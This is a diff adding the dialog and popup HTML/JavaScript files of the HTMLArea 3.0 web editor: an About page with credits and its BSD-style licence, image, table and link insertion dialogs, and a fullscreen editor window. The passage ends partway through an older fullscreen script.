+><table cellspacing="0" cellpadding="0" style="border-collapse: collapse;
+ width: 100%; height: 100%;">
+
+<tr style="height: 1em"><td id="tdheader">
+
+<div class="logo">
+<div class="brand"
+onmouseover="this.parentNode.className='logo-hover';"
+onmouseout="this.parentNode.className='logo';"
+onclick="window.open('http://dynarch.com/htmlarea/');">
+<span class="letter letter1"><H</span><span
+class="letter letter2">T</span><span
+class="letter letter3">M</span><span
+class="letter letter4">L</span>Area <span class="letter">/></span>
+<span class="version"><% $version.$release %></span></div>
+<div class="release">Compiled on <% $time %></div>
+<div class="visit">Go to http://dynarch.com/htmlarea/ [latest milestone release]</div>
+</div>
+
+</td></tr>
+<tr><td id="tdcontent" style="padding: 0.5em;">
+
+<div style="overflow: auto; height: 250px;" id="content">
+<div id="tab-areas">
+
+<div id="tab-area-0">
+
+ <h1>HTMLArea</h1>
+
+ <p>A free WYSIWYG editor replacement for <tt><textarea></tt> fields.<br />
+ For Mozilla 1.3+ (any platform) or Internet Explorer 5.5+ (Windows).
+ </p>
+
+ <p style="text-align: center"
+ >© 2002-2004 <a href="http://interactivetools.com" target="_blank">interactivetools.com</a>, inc.<br />
+ © 2003-2004 <a href="http://dynarch.com" target="_blank">dynarch.com</a> LLC.<br />
+ All Rights Reserved.</p>
+
+ <h2>Project resources</h2>
+
+ <ul>
+ <li><a href="http://sourceforge.net/projects/itools-htmlarea/" target="_blank"
+ >Project page</a> (@ sourceforge.net)</li>
+ <li><a href="http://sourceforge.net/cvs/?group_id=69750" target="_blank"
+ >Anonymous CVS access</a> (@ sourceforge.net)</li>
+ <li><a href="http://sourceforge.net/tracker/?atid=525656&group_id=69750&func=browse" target="_blank"
+ >Bug system</a> (@ sourceforge.net)</li>
+ <li><a href="http://www.interactivetools.com/forum/gforum.cgi?forum=14;" target="_blank"
+ >Forum</a> (@ interactivetools.com)</li>
+ <li><a href="http://www.dynarch.com/htmlarea/" target="_blank"
+ >Last public release</a> (@ dynarch.com)</li>
+ </ul>
+
+ <p>
+ For download section please see the <a href="http://sourceforge.net/projects/itools-htmlarea/" target="_blank"
+ >project page @ SourceForge</a>.
+ </p>
+
+<p style="margin-top: 1em; text-align: center;">Version 3.0 developed and maintained by <a
+href="http://dynarch.com/mishoo/" title="http://dynarch.com/mishoo/" target="_blank">Mihai Bazon</a> / <a
+href="http://dynarch.com" title="http://dynarch.com/" target="_blank">dynarch.com</a></p>
+
+</div>
+
+<div id="tab-area-1">
+<h1>Thank you</h1>
+
+ <p>
+ <a href="http://dynarch.com" target="_blank">dynarch.com</a> would like to thank the following
+ companies/persons for their <em>donations</em> to support development of HTMLArea (listed alphabetically):
+ </p>
+
+ <ul>
+ <li><a href="http://www.computerlove.co.uk" target="_blank">Code Computer Love Ltd.</a> (UK)</li>
+ <li><a href="http://www.neomedia.ro" target="_blank">Neomedia</a> (Romania)</li>
+ <li><a href="http://www.os3.it" target="_blank">OS3</a> (Italy)</li>
+ <li><a href="http://www.softwerk.net" target="_blank">SoftWerk</a> (Italy)</li>
+ </ul>
+
+ <p>Also many thanks to all people at InteractiveTools.com
+ <a href="http://www.interactivetools.com/forum/gforum.cgi?forum=14;">HTMLArea forums</a> for
+ contributing translations, feedback, bug reports and fixes.</p>
+
+ <p>
+ Last but not least, this project wouldn't have existed without
+ <a href="http://interactivetools.com" target="_blank">InteractiveTools.com</a>.
+ </p>
+
+</div>
+
+<div id="tab-area-2">
+<h1>htmlArea License (based on BSD license)</h1>
+
+<p style="text-align: center">© 2002-2004, interactivetools.com, inc.<br />
+ © 2003-2004 dynarch.com LLC<br />
+ All rights reserved.</p>
+
+<p>
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+</p>
+
+<ol>
+<li>
+Redistributions of source code must retain the above copyright notice,
+this list of conditions and the following disclaimer.
+</li>
+
+<li>
+Redistributions in binary form must reproduce the above copyright notice,
+this list of conditions and the following disclaimer in the documentation
+and/or other materials provided with the distribution.
+</li>
+
+<li>
+Neither the name of interactivetools.com, inc. nor the names of its
+contributors may be used to endorse or promote products derived from this
+software without specific prior written permission.
+</li>
+</ol>
+
+<p>
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
+</p>
+
+</div>
+
+<div id="tab-area-3">
+<h1>Plugins</h1>
+<div id="plugins">
+</div>
+</div>
+
+</div></div>
+
+
+</tr></td>
+<tr style="height: 1em"><td id="tdfooter">
+
+
+<div class="buttons">
+<div id="tabbar"
+><div class="tab tab-current"
+>About</div><div class="tab"
+>Thanks</div><div class="tab"
+>License</div><div class="tab"
+>Plugins</div></div>
+<button type="button" onclick="__dlg_close(null);">I agree it's cool</button>
+</div>
+
+</td></tr></table>
+
+</body></html>
+
+<%ARGS>
+ $version => '3.0'
+ $release => 'beta+'
+ $basename => 'HTMLArea-3.0-beta'
+</%ARGS>
+
+<%INIT>;
+if ($release =~ /\S/) {
+ $release = ' <span style="position: relative; top: -0.6em; font-size: 50%; font-weight: normal">[ rev. '.$release.' ]</span>';
+}
+
+use POSIX qw(strftime);
+my $time = strftime '%b %e, %Y %H:%M GMT', gmtime;
+</%INIT>
--- /dev/null
+<html>\r\r
+</html>
\ No newline at end of file
--- /dev/null
+<html style="width:300px; Height: 60px;">\r\r
+ <head>\r\r
+ <title>Select Phrase</title>\r\r
+<script language="javascript">\r\r
+\r\r
+var myTitle = window.dialogArguments;\r\r
+document.title = myTitle;\r\r
+\r\r
+\r\r
+function returnSelected() {\r\r
+ var idx = document.all.textPulldown.selectedIndex;\r\r
+ var text = document.all.textPulldown[idx].text;\r\r
+\r\r
+ window.returnValue = text; // set return value\r\r
+ window.close(); // close dialog\r\r
+}\r\r
+\r\r
+</script>\r\r
+</head>\r\r
+<body bgcolor="#FFFFFF" topmargin=15 leftmargin=0>\r\r
+\r\r
+<form method=get onSubmit="Set(document.all.ColorHex.value); return false;">\r\r
+<div align=center>\r\r
+\r\r
+<select name="textPulldown">\r\r
+<option>The quick brown</option>\r\r
+<option>fox jumps over</option>\r\r
+<option>the lazy dog.</option>\r\r
+</select>\r\r
+\r\r
+<input type="button" value=" Go " onClick="returnSelected()">\r\r
+\r\r
+</div>\r\r
+</form>\r\r
+</body></html>
\ No newline at end of file
--- /dev/null
+<html>\r\r
+ <head>\r\r
+ <title>Editor Help</title>\r\r
+ <style>\r\r
+ body, td, p, div { font-family: arial; font-size: x-small; }\r\r
+ </style>\r\r
+ </head>\r\r
+<body>\r\r
+\r\r
+<h2>Editor Help<hr></h2>\r\r
+\r\r
+Todo...\r\r
+\r\r
+\r\r
+</body>\r\r
+</html>
\ No newline at end of file
--- /dev/null
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">\r\r
+<html>\r\r
+ <head>\r\r
+ <title>Fullscreen HTMLArea</title>\r\r
+ <script type="text/javascript">\r\r
+ _editor_url = window.opener._editor_url;\r\r
+ _editor_lang = window.opener._editor_lang;\r\r
+ var BASE = window.opener.document.baseURI || window.opener.document.URL;\r\r
+ var head = document.getElementsByTagName("head")[0];\r\r
+ var base = document.createElement("base");\r\r
+ base.href = BASE;\r\r
+ head.appendChild(base);\r\r
+ </script>\r\r
+\r\r
+ <script type="text/javascript" src="../htmlarea.js"></script>\r\r
+\r\r
+ <script type="text/javascript">\r\r
+ // load HTMLArea scripts that are present in the opener frame\r\r
+ var scripts = window.opener.HTMLArea._scripts;\r\r
+ for (var i = 4; i < scripts.length; ++i) {\r\r
+ document.write("<scr" + "ipt type='text/javascript' src='" + scripts[i] + "'></scr" + "ipt>");\r\r
+ }\r\r
+ </script>\r\r
+\r\r
+ <!-- browser takes a coffee break here -->\r\r
+ <script type="text/javascript">\r\r
+var parent_object = null;\r\r
+var editor = null; // to be initialized later [ function init() ]\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : \r\r
+ Description : \r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function _CloseOnEsc(ev) {\r\r
+ ev || (ev = window.event);\r\r
+ if (ev.keyCode == 27) {\r\r
+ // update_parent();\r\r
+ window.close();\r\r
+ return;\r\r
+ }\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : resize_editor\r\r
+ Description : resize the editor when the user resizes the popup\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function resize_editor() { // resize editor to fix window\r\r
+ var newHeight;\r\r
+ if (document.all) {\r\r
+ // IE\r\r
+ newHeight = document.body.offsetHeight - editor._toolbar.offsetHeight;\r\r
+ if (newHeight < 0) { newHeight = 0; }\r\r
+ } else {\r\r
+ // Gecko\r\r
+ newHeight = window.innerHeight - editor._toolbar.offsetHeight;\r\r
+ }\r\r
+ if (editor.config.statusBar) {\r\r
+ newHeight -= editor._statusBar.offsetHeight;\r\r
+ }\r\r
+ editor._textArea.style.height = editor._iframe.style.height = newHeight + "px";\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : init\r\r
+ Description : run this code on page load\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function init() {\r\r
+ parent_object = opener.HTMLArea._object;\r\r
+ var config = HTMLArea.cloneObject( parent_object.config );\r\r
+ config.width = "100%";\r\r
+ config.height = "auto";\r\r
+\r\r
+ // change maximize button to minimize button\r\r
+ config.btnList["popupeditor"] = [ 'Minimize Editor', _editor_url + 'images/fullscreen_minimize.gif', true,\r\r
+ function() { window.close(); } ];\r\r
+\r\r
+ // generate editor and resize it\r\r
+ editor = new HTMLArea("editor", config);\r\r
+\r\r
+ // register the plugins, if any\r\r
+ for (var i in parent_object.plugins) {\r\r
+ var plugin = parent_object.plugins[i];\r\r
+ editor.registerPlugin2(plugin.name, plugin.args);\r\r
+ }\r\r
+ // and restore the original toolbar\r\r
+ config.toolbar = parent_object.config.toolbar;\r\r
+ editor.generate();\r\r
+ editor._iframe.style.width = "100%";\r\r
+ editor._textArea.style.width = "100%";\r\r
+ resize_editor();\r\r
+\r\r
+ editor.doctype = parent_object.doctype;\r\r
+\r\r
+ // set child window contents and event handlers, after a small delay\r\r
+ setTimeout(function() {\r\r
+ editor.setHTML(parent_object.getInnerHTML());\r\r
+\r\r
+ // switch mode if needed\r\r
+ if (parent_object._mode == "textmode") { editor.setMode("textmode"); }\r\r
+\r\r
+ // continuously update parent editor window\r\r
+ setInterval(update_parent, 500);\r\r
+\r\r
+ // setup event handlers\r\r
+ document.body.onkeypress = _CloseOnEsc;\r\r
+ editor._doc.body.onkeypress = _CloseOnEsc;\r\r
+ editor._textArea.onkeypress = _CloseOnEsc;\r\r
+ window.onresize = resize_editor;\r\r
+ }, 333); // give it some time to meet the new frame\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : update_parent\r\r
+ Description : update parent window editor field with contents from child window\r\r
+ \* ---------------------------------------------------------------------- */\r\r
+\r\r
+function update_parent() {\r\r
+ // use the fast version\r\r
+ parent_object.setHTML(editor.getInnerHTML());\r\r
+}\r\r
+\r\r
+ </script>\r\r
+ <style type="text/css"> html, body { height: 100%; margin: 0px; border: 0px; background-color: buttonface; } </style>\r\r
+ </head>\r\r
+ <body scroll="no" onload="setTimeout(function(){init();}, 500)" onunload="update_parent()">\r\r
+ <form style="margin: 0px; border: 1px solid; border-color: threedshadow threedhighlight threedhighlight threedshadow;">\r\r
+ <textarea name="editor" id="editor" style="width:100%; height:300px"> </textarea>\r\r
+ </form>\r\r
+ </body>\r\r
+</html>\r\r
--- /dev/null
+<html>\r\r
+\r\r
+<head>\r\r
+ <title>Insert Image</title>\r\r
+\r\r
+<script type="text/javascript" src="popup.js"></script>\r\r
+\r\r
+<script type="text/javascript">\r\r
+\r\r
+window.resizeTo(400, 100);\r\r
+\r\r
+function Init() {\r\r
+ __dlg_init();\r\r
+ var param = window.dialogArguments;\r\r
+ if (param) {\r\r
+ document.getElementById("f_url").value = param["f_url"];\r\r
+ document.getElementById("f_alt").value = param["f_alt"];\r\r
+ document.getElementById("f_border").value = param["f_border"];\r\r
+ document.getElementById("f_align").value = param["f_align"];\r\r
+ document.getElementById("f_vert").value = param["f_vert"];\r\r
+ document.getElementById("f_horiz").value = param["f_horiz"];\r\r
+ window.ipreview.location.replace(param.f_url);\r\r
+ }\r\r
+ document.getElementById("f_url").focus();\r\r
+};\r\r
+\r\r
+function onOK() {\r\r
+ var required = {\r\r
+ "f_url": "You must enter the URL"\r\r
+ };\r\r
+ for (var i in required) {\r\r
+ var el = document.getElementById(i);\r\r
+ if (!el.value) {\r\r
+ alert(required[i]);\r\r
+ el.focus();\r\r
+ return false;\r\r
+ }\r\r
+ }\r\r
+ // pass data back to the calling window\r\r
+ var fields = ["f_url", "f_alt", "f_align", "f_border",\r\r
+ "f_horiz", "f_vert"];\r\r
+ var param = new Object();\r\r
+ for (var i in fields) {\r\r
+ var id = fields[i];\r\r
+ var el = document.getElementById(id);\r\r
+ param[id] = el.value;\r\r
+ }\r\r
+ __dlg_close(param);\r\r
+ return false;\r\r
+};\r\r
+\r\r
+function onCancel() {\r\r
+ __dlg_close(null);\r\r
+ return false;\r\r
+};\r\r
+\r\r
+function onPreview() {\r\r
+ var f_url = document.getElementById("f_url");\r\r
+ var url = f_url.value;\r\r
+ if (!url) {\r\r
+ alert("You have to enter an URL first");\r\r
+ f_url.focus();\r\r
+ return false;\r\r
+ }\r\r
+ window.ipreview.location.replace(url);\r\r
+ return false;\r\r
+};\r\r
+</script>\r\r
+\r\r
+<style type="text/css">\r\r
+html, body {\r\r
+ background: ButtonFace;\r\r
+ color: ButtonText;\r\r
+ font: 11px Tahoma,Verdana,sans-serif;\r\r
+ margin: 0px;\r\r
+ padding: 0px;\r\r
+}\r\r
+body { padding: 5px; }\r\r
+table {\r\r
+ font: 11px Tahoma,Verdana,sans-serif;\r\r
+}\r\r
+form p {\r\r
+ margin-top: 5px;\r\r
+ margin-bottom: 5px;\r\r
+}\r\r
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }\r\r
+.fr { width: 6em; float: left; padding: 2px 5px; text-align: right; }\r\r
+fieldset { padding: 0px 10px 5px 5px; }\r\r
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }\r\r
+button { width: 70px; }\r\r
+.space { padding: 2px; }\r\r
+\r\r
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;\r\r
+border-bottom: 1px solid black; letter-spacing: 2px;\r\r
+}\r\r
+form { padding: 0px; margin: 0px; }\r\r
+</style>\r\r
+\r\r
+</head>\r\r
+\r\r
+<body onload="Init()">\r\r
+\r\r
+<div class="title">Insert Image</div>\r\r
+<!--- new stuff --->\r\r
+<form action="" method="get">\r\r
+<table border="0" width="100%" style="padding: 0px; margin: 0px">\r\r
+ <tbody>\r\r
+\r\r
+ <tr>\r\r
+ <td style="width: 7em; text-align: right">Image URL:</td>\r\r
+ <td><input type="text" name="url" id="f_url" style="width:75%"\r\r
+ title="Enter the image URL here" />\r\r
+ <button name="preview" onclick="return onPreview();"\r\r
+ title="Preview the image in a new window">Preview</button>\r\r
+ </td>\r\r
+ </tr>\r\r
+ <tr>\r\r
+ <td style="width: 7em; text-align: right">Alternate text:</td>\r\r
+ <td><input type="text" name="alt" id="f_alt" style="width:100%"\r\r
+ title="For browsers that don't support images" /></td>\r\r
+ </tr>\r\r
+\r\r
+ </tbody>\r\r
+</table>\r\r
+\r\r
+<p />\r\r
+\r\r
+<fieldset style="float: left; margin-left: 5px;">\r\r
+<legend>Layout</legend>\r\r
+\r\r
+<div class="space"></div>\r\r
+\r\r
+<div class="fl">Alignment:</div>\r\r
+<select size="1" name="align" id="f_align"\r\r
+ title="Positioning of this image">\r\r
+ <option value="" >Not set</option>\r\r
+ <option value="left" >Left</option>\r\r
+ <option value="right" >Right</option>\r\r
+ <option value="texttop" >Texttop</option>\r\r
+ <option value="absmiddle" >Absmiddle</option>\r\r
+ <option value="baseline" selected="1" >Baseline</option>\r\r
+ <option value="absbottom" >Absbottom</option>\r\r
+ <option value="bottom" >Bottom</option>\r\r
+ <option value="middle" >Middle</option>\r\r
+ <option value="top" >Top</option>\r\r
+</select>\r\r
+\r\r
+<p />\r\r
+\r\r
+<div class="fl">Border thickness:</div>\r\r
+<input type="text" name="border" id="f_border" size="5"\r\r
+title="Leave empty for no border" />\r\r
+\r\r
+<div class="space"></div>\r\r
+\r\r
+</fieldset>\r\r
+\r\r
+<fieldset style="float:right; margin-right: 5px;">\r\r
+<legend>Spacing</legend>\r\r
+\r\r
+<div class="space"></div>\r\r
+\r\r
+<div class="fr">Horizontal:</div>\r\r
+<input type="text" name="horiz" id="f_horiz" size="5"\r\r
+title="Horizontal padding" />\r\r
+\r\r
+<p />\r\r
+\r\r
+<div class="fr">Vertical:</div>\r\r
+<input type="text" name="vert" id="f_vert" size="5"\r\r
+title="Vertical padding" />\r\r
+\r\r
+<div class="space"></div>\r\r
+\r\r
+</fieldset>\r\r
+<br clear="all" />\r\r
+<table width="100%" style="margin-bottom: 0.2em">\r\r
+ <tr>\r\r
+ <td valign="bottom">\r\r
+ Image Preview:<br />\r\r
+ <iframe name="ipreview" id="ipreview" frameborder="0" style="border : 1px solid gray;" height="200" width="300" src=""></iframe>\r\r
+ </td>\r\r
+ <td valign="bottom" style="text-align: right">\r\r
+ <button type="button" name="ok" onclick="return onOK();">OK</button><br>\r\r
+ <button type="button" name="cancel" onclick="return onCancel();">Cancel</button>\r\r
+ </td>\r\r
+ </tr>\r\r
+</table>\r\r
+</form>\r\r
+</body>\r\r
+</html>\r\r
--- /dev/null
+<html>
+
+<head>
+ <title>Insert Table</title>
+
+<script type="text/javascript" src="popup.js"></script>
+
+<script type="text/javascript">
+
+window.resizeTo(400, 150);
+
+function Init() {
+ __dlg_init();
+ document.getElementById("f_rows").focus();
+};
+
+function onOK() {
+ var required = {
+ "f_rows": "You must enter a number of rows",
+ "f_cols": "You must enter a number of columns"
+ };
+ for (var i in required) {
+ var el = document.getElementById(i);
+ if (!el.value) {
+ alert(required[i]);
+ el.focus();
+ return false;
+ }
+ }
+ var fields = ["f_rows", "f_cols", "f_width", "f_unit",
+ "f_align", "f_border", "f_spacing", "f_padding"];
+ var param = new Object();
+ for (var i in fields) {
+ var id = fields[i];
+ var el = document.getElementById(id);
+ param[id] = el.value;
+ }
+ __dlg_close(param);
+ return false;
+};
+
+function onCancel() {
+ __dlg_close(null);
+ return false;
+};
+
+</script>
+
+<style type="text/css">
+html, body {
+ background: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+ margin: 0px;
+ padding: 0px;
+}
+body { padding: 5px; }
+table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+form p {
+ margin-top: 5px;
+ margin-bottom: 5px;
+}
+.fl { width: 9em; float: left; padding: 2px 5px; text-align: right; }
+.fr { width: 7em; float: left; padding: 2px 5px; text-align: right; }
+fieldset { padding: 0px 10px 5px 5px; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+.space { padding: 2px; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+form { padding: 0px; margin: 0px; }
+</style>
+
+</head>
+
+<body onload="Init()">
+
+<div class="title">Insert Table</div>
+
+<form action="" method="get">
+<table border="0" style="padding: 0px; margin: 0px">
+ <tbody>
+
+ <tr>
+ <td style="width: 4em; text-align: right">Rows:</td>
+ <td><input type="text" name="rows" id="f_rows" size="5" title="Number of rows" value="2" /></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td style="width: 4em; text-align: right">Cols:</td>
+ <td><input type="text" name="cols" id="f_cols" size="5" title="Number of columns" value="4" /></td>
+ <td style="width: 4em; text-align: right">Width:</td>
+ <td><input type="text" name="width" id="f_width" size="5" title="Width of the table" value="100" /></td>
+ <td><select size="1" name="unit" id="f_unit" title="Width unit">
+ <option value="%" selected="1" >Percent</option>
+ <option value="px" >Pixels</option>
+ <option value="em" >Em</option>
+ </select></td>
+ </tr>
+
+ </tbody>
+</table>
+
+<p />
+
+<fieldset style="float: left; margin-left: 5px;">
+<legend>Layout</legend>
+
+<div class="space"></div>
+
+<div class="fl">Alignment:</div>
+<select size="1" name="align" id="f_align"
+ title="Positioning of this image">
+ <option value="" selected="1" >Not set</option>
+ <option value="left" >Left</option>
+ <option value="right" >Right</option>
+ <option value="texttop" >Texttop</option>
+ <option value="absmiddle" >Absmiddle</option>
+ <option value="baseline" >Baseline</option>
+ <option value="absbottom" >Absbottom</option>
+ <option value="bottom" >Bottom</option>
+ <option value="middle" >Middle</option>
+ <option value="top" >Top</option>
+</select>
+
+<p />
+
+<div class="fl">Border thickness:</div>
+<input type="text" name="border" id="f_border" size="5" value="1"
+title="Leave empty for no border" />
+<!--
+<p />
+
+<div class="fl">Collapse borders:</div>
+<input type="checkbox" name="collapse" id="f_collapse" />
+-->
+<div class="space"></div>
+
+</fieldset>
+
+<fieldset style="float:right; margin-right: 5px;">
+<legend>Spacing</legend>
+
+<div class="space"></div>
+
+<div class="fr">Cell spacing:</div>
+<input type="text" name="spacing" id="f_spacing" size="5" value="1"
+title="Space between adjacent cells" />
+
+<p />
+
+<div class="fr">Cell padding:</div>
+<input type="text" name="padding" id="f_padding" size="5" value="1"
+title="Space between content and border in cell" />
+
+<div class="space"></div>
+
+</fieldset>
+
+<div style="margin-top: 85px; border-top: 1px solid #999; padding: 2px; text-align: right;">
+<button type="button" name="ok" onclick="return onOK();">OK</button>
+<button type="button" name="cancel" onclick="return onCancel();">Cancel</button>
+</div>
+
+</form>
+
+</body>
+</html>
--- /dev/null
+<html>\r
+\r
+<head>\r
+ <title>Insert/Modify Link</title>\r
+ <script type="text/javascript" src="popup.js"></script>\r
+ <script type="text/javascript">\r
+ window.resizeTo(400, 300);\r
+\r
+I18N = window.opener.HTMLArea.I18N.dialogs;\r
+\r
+function i18n(str) {\r
+ return (I18N[str] || str);\r
+};\r
+\r
+function onTargetChanged() {\r
+ var f = document.getElementById("f_other_target");\r
+ if (this.value == "_other") {\r
+ f.style.visibility = "visible";\r
+ f.select();\r
+ f.focus();\r
+ } else f.style.visibility = "hidden";\r
+};\r
+\r
+function Init() {\r
+ __dlg_translate(I18N);\r
+ __dlg_init();\r
+ window.resizeTo(550, 260);\r
+ var param = window.dialogArguments;\r
+ var target_select = document.getElementById("f_target");\r
+ if (param) {\r
+ document.getElementById("f_href").value = param["f_href"];\r
+ document.getElementById("f_title").value = param["f_title"];\r
+ comboSelectValue(target_select, param["f_target"]);\r
+ if (target_select.value != param.f_target) {\r
+ var opt = document.createElement("option");\r
+ opt.value = param.f_target;\r
+ opt.innerHTML = opt.value;\r
+ target_select.appendChild(opt);\r
+ opt.selected = true;\r
+ }\r
+ }\r
+ var opt = document.createElement("option");\r
+ opt.value = "_other";\r
+ opt.innerHTML = i18n("Other");\r
+ target_select.appendChild(opt);\r
+ target_select.onchange = onTargetChanged;\r
+ document.getElementById("f_href").focus();\r
+ document.getElementById("f_href").select();\r
+};\r
+\r
+function onOK() {\r
+ var required = {\r
+ // f_href shouldn't be required or otherwise removing the link by entering an empty\r\r
+ // url isn't possible anymore.\r\r
+ // "f_href": i18n("You must enter the URL where this link points to")\r\r
+ };\r
+ for (var i in required) {\r
+ var el = document.getElementById(i);\r
+ if (!el.value) {\r
+ alert(required[i]);\r
+ el.focus();\r
+ return false;\r
+ }\r
+ }\r
+ // pass data back to the calling window\r
+ var fields = ["f_href", "f_title", "f_target" ];\r
+ var param = new Object();\r
+ for (var i in fields) {\r
+ var id = fields[i];\r
+ var el = document.getElementById(id);\r
+ param[id] = el.value;\r
+ }\r
+ if (param.f_target == "_other")\r
+ param.f_target = document.getElementById("f_other_target").value;\r
+ __dlg_close(param);\r
+ return false;\r
+};\r
+\r
+function onCancel() {\r
+ __dlg_close(null);\r
+ return false;\r
+};\r
+\r
+</script>\r
+\r
+<style type="text/css">\r
+html, body {\r
+ background: ButtonFace;\r
+ color: ButtonText;\r
+ font: 11px Tahoma,Verdana,sans-serif;\r
+ margin: 0px;\r
+ padding: 0px;\r
+}\r
+body { padding: 5px; }\r
+table {\r
+ font: 11px Tahoma,Verdana,sans-serif;\r
+}\r
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }\r
+button { width: 70px; }\r
+table .label { text-align: right; width: 8em; }\r
+\r
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;\r
+border-bottom: 1px solid black; letter-spacing: 2px;\r
+}\r
+\r
+#buttons {\r
+ margin-top: 1em; border-top: 1px solid #999;\r
+ padding: 2px; text-align: right;\r
+}\r
+</style>\r
+\r
+</head>\r
+\r
+<body onload="Init()">\r
+<div class="title">Insert/Modify Link</div>\r
+\r
+<table border="0" style="width: 100%;">\r
+ <tr>\r
+ <td class="label">URL:</td>\r
+ <td><input type="text" id="f_href" style="width: 100%" /></td>\r
+ </tr>\r
+ <tr>\r
+ <td class="label">Title (tooltip):</td>\r
+ <td><input type="text" id="f_title" style="width: 100%" /></td>\r
+ </tr>\r
+ <tr>\r
+ <td class="label">Target:</td>\r
+ <td><select id="f_target">\r
+ <option value="">None</option>\r
+ <option value="_blank">New window (_blank)</option>\r
+ </select>\r
+ <input type="text" name="f_other_target" id="f_other_target" size="10" style="visibility: hidden" />\r
+ </td>\r
+ </tr>\r
+</table>\r
+\r
+<div id="buttons">\r
+ <button type="button" name="ok" onclick="return onOK();">OK</button>\r
+ <button type="button" name="cancel" onclick="return onCancel();">Cancel</button>\r
+</div>\r
+\r
+</body>\r
+</html>\r
--- /dev/null
+<files>
+ <file name="*.{js,html}" />
+ <file name="about.html" masonize="yes" args="version,release,basename" />
+</files>
--- /dev/null
+<html>\r\r
+<head><title>Fullscreen Editor</title>\r\r
+<style type="text/css"> body { margin: 0px; border: 0px; background-color: buttonface; } </style>\r\r
+\r\r
+<script>\r\r
+\r\r
+// if we pass the "window" object as a argument and then set opener to\r\r
+// equal that we can refer to dialogWindows and popupWindows the same way\r\r
+if (window.dialogArguments) { opener = window.dialogArguments; }\r\r
+\r\r
+var _editor_url = "../";\r\r
+document.write('<scr'+'ipt src="' +_editor_url+ 'editor.js" language="Javascript1.2"></scr'+'ipt>');\r\r
+\r\r
+var parent_objname = location.search.substring(1,location.search.length); // parent editor objname\r\r
+var parent_config = opener.document.all[parent_objname].config;\r\r
+\r\r
+var config = cloneObject( parent_config );\r\r
+var objname = 'editor'; // name of this editor\r\r
+\r\r
+// DOMViewerObj = config;\r\r
+// DOMViewerName = 'config';\r\r
+// window.open('/innerHTML/domviewer.htm'); \r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : \r\r
+ Description : \r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function _CloseOnEsc() {\r\r
+ if (event.keyCode == 27) {\r\r
+ update_parent();\r\r
+ window.close();\r\r
+ return;\r\r
+ }\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : cloneObject\r\r
+ Description : copy an object by value instead of by reference\r\r
+ Usage : var newObj = cloneObject(oldObj);\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function cloneObject(obj) {\r\r
+ var newObj = new Object; \r\r
+\r\r
+ // check for array objects\r\r
+ if (obj.constructor.toString().indexOf('function Array(') == 1) {\r\r
+ newObj = obj.constructor();\r\r
+ }\r\r
+\r\r
+ for (var n in obj) {\r\r
+ var node = obj[n];\r\r
+ if (typeof node == 'object') { newObj[n] = cloneObject(node); }\r\r
+ else { newObj[n] = node; }\r\r
+ }\r\r
+ \r\r
+ return newObj;\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : resize_editor\r\r
+ Description : resize the editor when the user resizes the popup\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function resize_editor() { // resize editor to fix window\r\r
+ var editor = document.all['_editor_editor'];\r\r
+\r\r
+ newWidth = document.body.offsetWidth;\r\r
+ newHeight = document.body.offsetHeight - editor.offsetTop;\r\r
+\r\r
+ if (newWidth < 0) { newWidth = 0; }\r\r
+ if (newHeight < 0) { newHeight = 0; }\r\r
+\r\r
+ editor.style.width = newWidth;\r\r
+ editor.style.height = newHeight;\r\r
+}\r\r
+\r\r
+/* ---------------------------------------------------------------------- *\\r\r
+ Function : init\r\r
+ Description : run this code on page load\r\r
+\* ---------------------------------------------------------------------- */\r\r
+\r\r
+function init() {\r\r
+ // change maximize button to minimize button\r\r
